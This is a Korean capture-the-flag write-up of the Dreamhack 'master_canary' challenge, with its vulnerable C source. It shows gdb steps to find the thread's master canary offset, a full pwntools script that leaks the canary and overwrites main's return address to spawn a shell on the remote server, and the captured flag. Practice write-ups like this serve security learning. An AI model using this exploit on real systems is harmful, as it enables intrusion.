Description
이 문제는 서버에서 작동하고 있는 서비스(master_canary)의 바이너리와 소스 코드가 주어집니다.
카나리 값을 구해 실행 흐름을 조작해 셸을 획득하세요.
셸을 획득한 후 얻은 “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Ubuntu 16.04 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
로컬 테스트 환경:
Ubuntu 16.04.7 LTS x86_64
Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
checksec
seo@ubuntu:~/Desktop/master_canary$ checksec ./master_canary [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/seo/Desktop/master_canary/master_canary' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Source Code
master_canary.c
// gcc -o master master.c -pthread #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <pthread.h> char *global_buffer; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } void get_shell() { system("/bin/sh"); } void *thread_routine() { char buf[256]; global_buffer = buf; } void read_bytes(char *buf, size_t size) { size_t sz = 0; size_t idx = 0; size_t tmp; while (sz < size) { tmp = read(0, &buf[idx], 1); if (tmp != 1) { exit(-1); } idx += 1; sz += 1; } return; } int main(int argc, char *argv[]) { size_t size; pthread_t thread_t; size_t idx; char leave_comment[32]; initialize(); while (1) { printf("1. Create thread\n"); printf("2. Input\n"); printf("3. Exit\n"); printf("> "); scanf("%d", &idx); switch (idx) { case 1: if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0) { perror("thread create error"); exit(0); } break; case 2: printf("Size: "); scanf("%d", &size); printf("Data: "); read_bytes(global_buffer, size); printf("Data: %s", global_buffer); break; case 3: printf("Leave comment: "); read(0, leave_comment, 1024); return 0; default: printf("Nope\n"); break; } } return 0; }
1) Create thread
pthread_create를 통해 thread_routine 쓰레드를 생성하며,
쓰레드 함수에서 buf의 주소를 global_buffer 전역변수에 넣는다.
2) Input
size 크기만큼 데이터를 입력받고,
read_bytes 함수를 통해 1바이트씩 global_buffer 변수에 넣은 뒤 출력한다.
3) Exit
leave_comment 변수에 1024 byte만큼 값을 읽어들이고 종료한다.
Solution
1) thread_routine+40 지점에 브레이크포인트를 걸고 master canary 값이 들어있는 주소와 global_buffer에 들어있는 주소를 확인하고 거리를 계산한다.
gdb-peda$ b *0x400a83 Breakpoint 1 at 0x400a83 ... 0x400a73 <thread_routine+24>: xor eax,eax 0x400a75 <thread_routine+26>: lea rax,[rbp-0x110] 0x400a7c <thread_routine+33>: mov QWORD PTR [rip+0x20162d],rax # 0x6020b0 <global_buffer> => 0x400a83 <thread_routine+40>: nop 0x400a84 <thread_routine+41>: mov rdx,QWORD PTR [rbp-0x8] 0x400a88 <thread_routine+45>: xor rdx,QWORD PTR fs:0x28 0x400a91 <thread_routine+54>: je 0x400a98 <thread_routine+61> 0x400a93 <thread_routine+56>: call 0x400820 <__stack_chk_fail@plt> ... Thread 2 "master_canary" hit Breakpoint 1, 0x0000000000400a83 in thread_routine ()
위와 같이 브레이크포인트를 걸고, 1번 메뉴인 create_thread를 호출하였다.
이제 마스터 카나리 값이 들어있는 주소를 확인하려고 하면,
gdb-peda$ x/gx $fs_base+0x28 Argument to arithmetic operation not a number or boolean.
확인하지 못하고 위와 같은 문구가 뜨는데,
ubuntu 16.04에는 gdb7 버전이어서 값이 나오지 않는다.
따라서 아래 stackoverflow 글을 참고해서 확인할 수 있었다.
https://stackoverflow.com/a/23121188
gdb-peda$ p $rsp $1 = (void *) 0x7ffff77eee40 gdb-peda$ call arch_prctl(0x1003, $rsp - 0x8) $2 = 0x0 gdb-peda$ x /gx $rsp - 0x8 0x7ffff77eee38: 0x00007ffff77ef700 gdb-peda$ x/gx 0x00007ffff77ef700+0x28 0x7ffff77ef728: 0xfcadef69c673ef00
마스터 카나리 값은 0x7ffff77ef728 주소에 있었다.
이제 global_buffer 전역변수에 담긴 주소를 확인한다.
gdb-peda$ x/gx 0x00000000006020B0 0x6020b0 <global_buffer>: 0x00007ffff77eee40
global_buffer 전역변수에 담긴 주소는 0x00007ffff77eee40였다.
마스터 카나리 값이 들어있는 주소와 global_buffer 전역변수에 담긴 주소를 서로 빼면,
>>> hex(0x7ffff77ef728 - 0x7ffff77eee40) '0x8e8'
0x8e8 오프셋을 구할 수 있다.
2) 마스터 카나리 값 leak하기
이제 2번 메뉴인 input을 통해 global_buffer에 0x8e8+1만큼 버퍼를 채우면 카나리를 leak할 수 있다.
3) main’s RET을 get_shell로 조작하기
카나리 값을 얻었으면,
3번 exit 메뉴를 통해 카나리와 함께 main’s RET 주소를 get_shell 주소로 바꿔주는 페이로드를 작성해주면 된다.
할당된 leave_comment 지역변수 크기는 32바이트인데, read 함수에서 1024바이트만큼 입력받으므로 버퍼 오버플로우가 발생한다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #p = process("./master_canary") p = remote("host3.dreamhack.games", 15636) e = ELF("./master_canary", checksec=False) def create_thread(): p.sendlineafter("> ", "1") def input(size, data): p.sendlineafter("> ", "2") p.sendlineafter("Size: ", str(size)) p.sendafter("Data: ", data) p.recvuntil("Data: ") data = p.recvuntil("1. Create thread") data = data.split(b"1. Create thread")[0] #print("data: "+ str(data)) return data def exit(comment): p.sendlineafter("> ", "3") p.sendlineafter("Leave comment: ", comment) create_thread() #leak master canary canary = input(0x8e9, "A"*0x8e9) canary = canary[0x8e9:0x8e9+7] canary = u64(canary.rjust(8, b"\x00")) print("canary: " + hex(canary)) #Overwrite get_shell to main's RET address payload = b"" payload += b"A"*40 payload += p64(canary) payload += b"B"*8 payload += p64(e.symbols["get_shell"]) exit(payload) p.interactive()
Result
seo@ubuntu:~/Desktop/master_canary$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 15636: Done [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) canary: 0xd9b3a7fae7e3100 [*] Switching to interactive mode $ ls flag master_canary $ cat flag DH{5784e01c14862d84172ca055720f512ec3dd7e3b4421c691f638b1152cd62312}